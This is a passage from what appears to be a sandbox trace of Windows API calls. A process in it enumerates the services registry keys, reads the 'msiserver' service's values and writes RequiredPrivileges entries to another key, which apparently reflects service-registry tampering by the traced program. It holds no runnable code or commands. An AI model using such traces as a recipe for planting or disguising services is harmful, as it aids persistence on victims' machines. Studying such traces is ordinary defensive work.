lpName="crcdisk") returned 0x0 [0184.511] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0184.511] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0184.511] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0184.511] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0184.511] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0184.511] RegEnumKeyW (in: hKey=0x140, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0184.511] RegEnumKeyW (in: hKey=0x140, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0184.512] RegEnumKeyW (in: hKey=0x140, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0184.512] RegEnumKeyW (in: hKey=0x140, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0184.512] RegEnumKeyW (in: hKey=0x140, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0184.512] RegEnumKeyW (in: hKey=0x140, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0184.512] RegEnumKeyW (in: hKey=0x140, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0184.512] RegEnumKeyW (in: hKey=0x140, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0184.512] RegEnumKeyW (in: hKey=0x140, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0184.512] RegEnumKeyW (in: hKey=0x140, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0184.512] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0184.512] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0184.512] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0184.512] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0184.512] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0184.512] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0184.512] RegEnumKeyW (in: hKey=0x140, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0184.512] RegEnumKeyW (in: hKey=0x140, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0184.512] RegEnumKeyW (in: hKey=0x140, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0184.513] RegEnumKeyW (in: hKey=0x140, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0184.513] RegEnumKeyW (in: hKey=0x140, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0184.513] RegEnumKeyW (in: hKey=0x140, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0184.513] RegEnumKeyW (in: hKey=0x140, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0184.513] RegEnumKeyW (in: hKey=0x140, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0184.513] RegEnumKeyW (in: hKey=0x140, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0184.513] RegEnumKeyW (in: hKey=0x140, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0184.513] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0184.513] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0184.513] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0184.513] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0184.513] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0184.513] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0184.513] RegEnumKeyW (in: hKey=0x140, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0184.514] RegEnumKeyW (in: hKey=0x140, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0184.514] RegEnumKeyW (in: hKey=0x140, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0184.514] RegEnumKeyW (in: hKey=0x140, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0184.514] RegEnumKeyW (in: hKey=0x140, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0184.514] RegEnumKeyW (in: hKey=0x140, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0184.514] RegEnumKeyW (in: hKey=0x140, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0184.514] RegEnumKeyW (in: hKey=0x140, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0184.514] RegEnumKeyW (in: hKey=0x140, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0184.514] RegEnumKeyW (in: hKey=0x140, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0184.514] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0184.514] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0184.514] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0184.514] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0184.514] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0184.514] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0184.514] RegEnumKeyW (in: hKey=0x140, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0184.515] RegEnumKeyW (in: hKey=0x140, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0184.515] RegEnumKeyW (in: hKey=0x140, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0184.515] RegEnumKeyW (in: hKey=0x140, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0184.515] RegEnumKeyW (in: hKey=0x140, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0184.515] RegEnumKeyW (in: hKey=0x140, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0184.515] RegEnumKeyW (in: hKey=0x140, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0184.515] RegEnumKeyW (in: hKey=0x140, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0184.515] RegEnumKeyW (in: hKey=0x140, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0184.515] RegEnumKeyW (in: hKey=0x140, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0184.515] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0184.515] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0184.515] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0184.515] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0184.515] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0184.515] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0184.515] RegEnumKeyW (in: hKey=0x140, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0184.515] RegEnumKeyW (in: hKey=0x140, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0184.516] RegEnumKeyW (in: hKey=0x140, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0184.516] RegEnumKeyW (in: hKey=0x140, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0184.516] RegEnumKeyW (in: hKey=0x140, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0184.516] RegEnumKeyW (in: hKey=0x140, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0184.516] RegEnumKeyW (in: hKey=0x140, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0184.516] RegEnumKeyW (in: hKey=0x140, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0184.516] RegEnumKeyW (in: hKey=0x140, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0184.516] RegEnumKeyW (in: hKey=0x140, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0184.516] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0184.516] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0184.516] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0184.516] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0184.516] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0184.516] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0184.516] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0184.516] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0184.516] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0184.517] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0184.517] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0184.517] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0184.517] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0184.517] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0184.517] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0184.517] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0184.517] RegEnumKeyW (in: hKey=0x140, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0184.517] RegEnumKeyW (in: hKey=0x140, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0184.517] RegEnumKeyW (in: hKey=0x140, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0184.517] RegEnumKeyW (in: hKey=0x140, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0184.517] RegEnumKeyW (in: hKey=0x140, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0184.517] RegEnumKeyW (in: hKey=0x140, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0184.517] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0184.517] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0184.517] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0184.517] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0184.518] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0184.518] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0184.518] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0184.518] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0184.518] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0184.518] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0184.518] RegEnumKeyW (in: hKey=0x140, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0184.518] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0184.518] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0184.518] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0184.518] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0184.518] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0184.518] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0184.518] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0184.518] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0184.518] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0184.519] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0184.519] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0184.519] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0184.519] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0184.519] RegOpenKeyExW (in: hKey=0x140, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0184.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0184.519] RegCloseKey (hKey=0x140) returned 0x0 [0184.519] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0184.519] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0184.519] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0184.519] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0184.519] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0184.519] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0184.519] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0184.519] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0184.519] RegCloseKey (hKey=0x80000002) returned 0x0 [0184.519] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0184.520] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0184.520] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0184.520] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0184.520] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0184.520] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0184.520] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0184.520] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0184.520] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0184.520] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0184.520] RegCloseKey (hKey=0x148) returned 0x0 [0184.520] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0184.520] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0184.520] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0184.520] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0184.520] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0184.520] RegOpenKeyExW (in: hKey=0x140, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0184.521] RegCloseKey (hKey=0x140) returned 0x0 [0184.521] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0184.521] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0184.521] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0184.521] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0184.521] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0184.521] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0184.521] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0184.521] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0184.521] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0184.522] RegEnumValueA (in: hKey=0x9c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.522] RegEnumValueA (in: hKey=0x9c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.522] RegEnumValueA (in: hKey=0x9c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.522] RegEnumValueA (in: hKey=0x9c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.522] RegEnumValueA (in: hKey=0x9c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.522] RegEnumValueA (in: hKey=0x9c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.522] RegEnumValueA (in: hKey=0x9c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.522] RegEnumValueA (in: hKey=0x9c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.522] RegEnumValueA (in: hKey=0x9c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.522] RegEnumValueA (in: hKey=0x9c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.522] RegEnumValueA (in: hKey=0x9c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.522] RegEnumValueA (in: hKey=0x9c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0184.522] RegSetValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x21f4ea8*, cbData=0x195 | out: lpData=0x21f4ea8*) returned 0x0 [0184.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0184.523] RegSetValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="SeChangeNotifyPrivilege", cbData=0x18 | out: lpData="SeChangeNotifyPrivilege") returned 0x0 [0184.523] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0184.523] RegEnumValueA (in: hKey=0x9c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.523] RegEnumValueA (in: hKey=0x9c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.523] RegEnumValueA (in: hKey=0x9c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.523] RegEnumValueA (in: hKey=0x9c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, 